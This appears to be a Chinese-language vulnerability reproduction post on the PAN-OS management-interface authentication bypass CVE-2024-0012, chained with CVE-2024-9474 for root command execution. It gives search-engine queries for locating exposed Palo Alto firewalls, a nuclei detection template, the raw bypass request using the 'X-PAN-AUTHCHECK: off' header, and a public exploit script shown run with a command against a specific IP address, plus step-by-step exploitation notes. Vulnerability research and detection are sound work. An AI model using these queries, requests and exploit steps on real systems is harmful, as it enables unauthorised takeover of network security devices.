前言

Palo Alto Networks是全球知名的网络安全厂商，PAN-OS 是Palo Alto Networks开发的操作系统，Palo Alto Networks防火墙和企业VPN 都运行在该操作系统上。

漏洞描述

2024年11日，官方披露 CVE-2024-0012 Palo Alto Networks PAN-OS Management 管理端权限绕过漏洞 ,未经身份验证的远程攻击者可以通过网络访问管理 Web 界面，从而进行后续活动，包括修改设备配置、访问其他管理功能。同时结合 Palo Alto Networks PAN-OS 权限提升漏洞（CVE-2024-9474）获取root访问权限。

• 漏洞编号：CVE-2024-0012、CVE-2024-9474

影响范围

• PAN-OS 10.2 < 10.2.12-h2
• PAN-OS 11.0 < 11.0.6-h1
• PAN-OS 11.1 < 11.1.5-h1
• PAN-OS 11.2 < 11.2.4-h1

漏洞复现

• QUAKE 语法：app:"Palo Alto 网络防火墙"
• fofa 语法：icon_hash="873381299"

漏洞 poc

漏洞检测，nuclei 模板

id: palo-alto-vpn-CVE-2024-0012-check-wt

info:
  name: Palo Alto PAN-OS Authentication Bypass in the Management Web Interface CVE-2024-0012
  author: watchTowr
  severity: critical
  description: An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474.
  tags: palo-alto
  metadata:
    max-request: 4

http:
  - method: GET
    path:
      - "{{BaseURL}}/php/utils/CmsGetDeviceSoftwareVersion.php/.js.map"

    headers:
      X-PAN-AUTHCHECK: off

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        condition: or
        words:
          - "0.0.0"


      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "Expires: 0"
          - "PHPSESSID="
          - "application/json"

该请求的数据包，如下响应，说明漏洞存在

GET /php/utils/CmsGetDeviceSoftwareVersion.php/.js.map HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: keep-alive
Accept: */*
Accept-Language: en
X-PAN-AUTHCHECK: off
Accept-Encoding: gzip, deflate, br

漏洞 exp

exp：GitHub - 0xjessie21/CVE-2024-0012: CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015) RCE POC

cve-2024-0012.py --url http://101.230.1.242 --command id --no-verify

漏洞利用过程

第一步：发送数据包，执行认证绕过获得 PHPSESSID，并执行命令 id，将结果保存到指定文件

第二步：使用第一步获取的PHPSESSID，请求index.php/.js.map 触发第一步的请求，执行命令

第三步：请求第一步中命令写入的文件，验证命令是否执行，id 执行成功，并且能访问到执行结果

参考：Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474